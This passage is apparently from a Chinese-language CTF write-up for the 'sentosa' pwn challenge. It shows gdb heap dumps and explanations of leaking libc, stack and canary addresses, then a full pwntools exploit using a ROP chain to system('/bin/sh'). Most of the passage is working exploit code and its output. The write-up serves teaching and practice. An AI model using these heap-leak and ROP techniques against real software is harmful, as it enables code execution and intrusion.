0x555555757080:	0x0000000100000000	0x00000000000000d1  <-- fake chunk (chunk 4)
0x555555757090:	0x0000000000000064	0x0000000000000071  <-- chunk 2
0x5555557570a0:	0x0000000100000050	0x0000000000000000
0x5555557570b0:	0x0000000000000000	0x0000000000000000
0x5555557570c0:	0x0000000000000000	0x0000000000000000
0x5555557570d0:	0x0000000000000000	0x0000000000000000
0x5555557570e0:	0x0000000000000000	0x0000000000000000
0x5555557570f0:	0x0000010000000000	0x0000010000000100
0x555555757100:	0x0000000000000100	0x0000000000000071  <-- chunk 3
0x555555757110:	0x4141414100000050	0x4141414141414141
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x0000000000000021  <-- fake chunk (0xd0+0x80=0x150)
0x555555757160:	0x0000010000000000	0x0000010000000100
0x555555757170:	0x0000000000000100	0x0000000000020e91  <-- top chunk
0x555555757180:	0x0000000000000000	0x0000000000000000

释放掉 chunk 4,此时它将被放进 unsorted bin,其 fd, bk 指针指向 libc:

gdb-peda$ x/50gx 0x555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021
0x555555757010:	0x0000015500000000	0x0000010000000100
0x555555757020:	0x0000000000000100	0x0000000000000021
0x555555757030:	0x0000010000000000	0x0000010000000100
0x555555757040:	0x0000000000000100	0x0000000000000021
0x555555757050:	0x0000010000000000	0x0000010000000100
0x555555757060:	0x0000000000000100	0x0000000000000031
0x555555757070:	0x000000410000000f	0x0000000000000000
0x555555757080:	0x0000000100000000	0x00000000000000d1
0x555555757090:	0x00007ffff7dd1b78	0x00007ffff7dd1b78  <-- fd, bk pointer
0x5555557570a0:	0x0000000100000050	0x0000000000000000
0x5555557570b0:	0x0000000000000000	0x0000000000000000
0x5555557570c0:	0x0000000000000000	0x0000000000000000
0x5555557570d0:	0x0000000000000000	0x0000000000000000
0x5555557570e0:	0x0000000000000000	0x0000000000000000
0x5555557570f0:	0x0000010000000000	0x0000010000000100
0x555555757100:	0x0000000000000100	0x0000000000000071
0x555555757110:	0x4141414100000050	0x4141414141414141
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x00000000000000d0	0x0000000000000020
0x555555757160:	0x0000010000000000	0x0000010000000100
0x555555757170:	0x0000000000000100	0x0000000000020e91
0x555555757180:	0x0000000000000000	0x0000000000000000

将它打印出来即可得到 libc 的基址。

leak stack and canary

def leak_stack_canary():
    global canary

    environ_addr = libc.symbols['__environ'] + libc_base
    log.info("__environ address: 0x%x" % environ_addr)

    start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1)   # 4

    view_proj()
    for i in range(5):
        io.recvuntil("Price: ")
    leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
    io.recvuntil("Area: ")
    leak_high = int(io.recvline()[:-1], 10) & 0xffff
    stack_addr = leak_low + (leak_high<<32)
    canary_addr = stack_addr - 0x130

    log.info("stack address: 0x%x" % stack_addr)
    log.info("canary address: 0x%x" % canary_addr)

    start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1)     # 6

    view_proj()
    for i in range(7):
        io.recvuntil("Project: ")
    canary = (u64(io.recvline()[:-1] + "\x00"))<<8

    log.info("canary: 0x%x" % canary)

通过 libc 地址计算出 __environ 的地址,构造 project 并打印出来得到其指向的 stack 地址。然后通过偏移计算得到 canary 地址,同样的方法构造 project,得到 canary。

pwn

def pwn():
    pop_rdi_ret = libc_base + 0x21102
    bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
    system_addr = libc_base + libc.symbols['system']

    payload  = "A" * 0x68
    payload += p64(canary)      # canary
    payload += "A" * 0x28
    payload += p64(pop_rdi_ret) # return address
    payload += p64(bin_sh)
    payload += p64(system_addr) # system("/bin/sh")

    start_proj(0, payload, 1, 1, 1)

    io.interactive()

最后我们就可以构造 ROP 得到 shell 了。

gdb-peda$ x/24gx $rsp
0x7fffffffec70:	0x00007ffff7dd3780	0x00000000f7b046e0
0x7fffffffec80:	0x4141414141414141	0x4141414141414141
0x7fffffffec90:	0x4141414141414141	0x4141414141414141
0x7fffffffeca0:	0x4141414141414141	0x4141414141414141
0x7fffffffecb0:	0x4141414141414141	0x4141414141414141
0x7fffffffecc0:	0x4141414141414141	0x4141414141414141
0x7fffffffecd0:	0x4141414141414141	0x4141414141414141
0x7fffffffece0:	0x4141414141414141	0xa078057095c7cf00  <-- canary
0x7fffffffecf0:	0x4141414141414141	0x4141414141414141
0x7fffffffed00:	0x4141414141414141	0x4141414141414141
0x7fffffffed10:	0x4141414141414141	0x00007ffff7a2f102  <-- pop rdi; ret
0x7fffffffed20:	0x00007ffff7b9a177	0x00007ffff7a53390  <-- "/bin/sh"   <-- system

开启 ASLR。Bingo!!!

$ python exp.py
[+] Starting local process './sentosa': pid 11161
[*] heap base: 0x556cac880000
[*] libc base: 0x7fd37c2a7000
[*] __environ address: 0x7fd37c66cf38
[*] stack address: 0x7ffcdd2ae7c8
[*] canary address: 0x7ffcdd2ae698
[*] canary: 0x307ea32507776d00
[*] Switching to interactive mode
Your project is No.7
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./sentosa'], env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF('libc.so.6')

def start_proj(length, name, price, area, capacity):
    io.sendlineafter("Exit\n", '1')
    io.sendlineafter("name: ", str(length))
    io.sendlineafter("name: ", name)
    io.sendlineafter("price: ", str(price))
    io.sendlineafter("area: ", str(area))
    io.sendlineafter("capacity: ", str(capacity))

def view_proj():
    io.sendlineafter("Exit\n", '2')

def cancel_proj(idx):
    io.sendlineafter("Exit\n", '4')
    io.sendlineafter("number: ", str(idx))

def leak_heap():
    global heap_base

    start_proj(0, 'A', 1, 1, 1)         # 0
    start_proj(0, 'A'*0x5a, 1, 1, 1)    # 1
    start_proj(0, 'A', 1, 1, 1)         # 2
    cancel_proj(2)
    cancel_proj(0)

    view_proj()
    io.recvuntil("Capacity: ")
    leak = int(io.recvline()[:-1], 10) & 0xffffffff
    heap_base = (0x55<<40) + (leak<<8)      # 0x55 or 0x56

    log.info("heap base: 0x%x" % heap_base)

def leak_libc():
    global libc_base

    start_proj(0xf, 'A', 0xd1, 0, 0x64)                     # 0
    start_proj(0x50, '\x01', 1, 1, 1)                       # 2
    start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1)              # 3
    start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1)  # 4
    start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1)  # 5
    cancel_proj(4)

    view_proj()
    for i in range(5):
        io.recvuntil("Area: ")
    leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
    io.recvuntil("Capacity: ")
    leak_high = int(io.recvline()[:-1], 10) & 0xffff
    libc_base = leak_low + (leak_high<<32) - 0x3c3b78

    log.info("libc base: 0x%x" % libc_base)

def leak_stack_canary():
    global canary

    environ_addr = libc.symbols['__environ'] + libc_base
    log.info("__environ address: 0x%x" % environ_addr)

    start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1)   # 4

    view_proj()
    for i in range(5):
        io.recvuntil("Price: ")
    leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
    io.recvuntil("Area: ")
    leak_high = int(io.recvline()[:-1], 10) & 0xffff
    stack_addr = leak_low + (leak_high<<32)
    canary_addr = stack_addr - 0x130

    log.info("stack address: 0x%x" % stack_addr)
    log.info("canary address: 0x%x" % canary_addr)

    start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1)     # 6

    view_proj()
    for i in range(7):
        io.recvuntil("Project: ")
    canary = (u64(io.recvline()[:-1] + "\x00"))<<8

    log.info("canary: 0x%x" % canary)

def pwn():
    pop_rdi_ret = libc_base + 0x21102
    bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
    system_addr = libc_base + libc.symbols['system']

    payload  = "A" * 0x68
    payload += p64(canary)      # canary
    payload += "A" * 0x28
    payload += p64(pop_rdi_ret) # return address
    payload += p64(bin_sh)
    payload += p64(system_addr) # system("/bin/sh")

    start_proj(0, payload, 1, 1, 1)

    io.interactive()

if __name__ == "__main__":
    leak_heap()
    leak_libc()
    leak_stack_canary()
    pwn()

参考资料